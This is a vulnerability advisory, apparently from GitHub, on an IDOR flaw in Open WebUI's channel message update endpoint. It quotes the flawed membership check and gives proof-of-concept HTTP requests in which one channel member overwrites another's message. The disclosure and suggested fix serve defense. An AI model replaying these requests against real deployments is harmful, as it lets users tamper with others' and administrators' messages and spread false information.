Open WebUI has an IDOR vulnerability in the update_message_by_id API endpoint

Summary

An IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (v0.8.12) of Open WebUI.

Details

In the update_message_by_id function, for group or dm type channels, only the caller's membership in the channel is checked via the is_user_channel_member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows (https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/channels.py#L1355) :

if channel.type in ['group', 'dm']:
    if not Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

try:
    message = Messages.update_message_by_id(message_id, form_data, db=db)

Non-group/dm types include a check for the user ID, while the group/dm type clearly lacks this verification.

PoC

The Channels feature is disabled by default and can be enabled first through the admin interface. <img width="1024" height="618" alt="image" src="https://github.com/user-attachments/assets/a36502e9-c6cd-41cd-a69c-8b6ac809768f" />

Create a group type channel with members including users test1 and test2.

POST /api/v1/channels/create HTTP/1.1
Content-Type: application/json

{
  "name": "idor-test-group",
  "type": "group",
  "user_ids": [
    "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
    "b9997496-ff80-4c30-a366-95474f85e62b"
  ]
}

User test2 sends a message in the channel.

POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test2_token>

{"content":"This is test2 secret message"}

User test1 can directly modify the message that test2 just sent.

POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test1_token>

{"content":"HACKED BY TEST1 - message tampered!"}

Messages sent by administrators can also be modified.

Impact

Malicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.

Suggested Fix

Add a message ownership check in the group/dm branch of channels.py.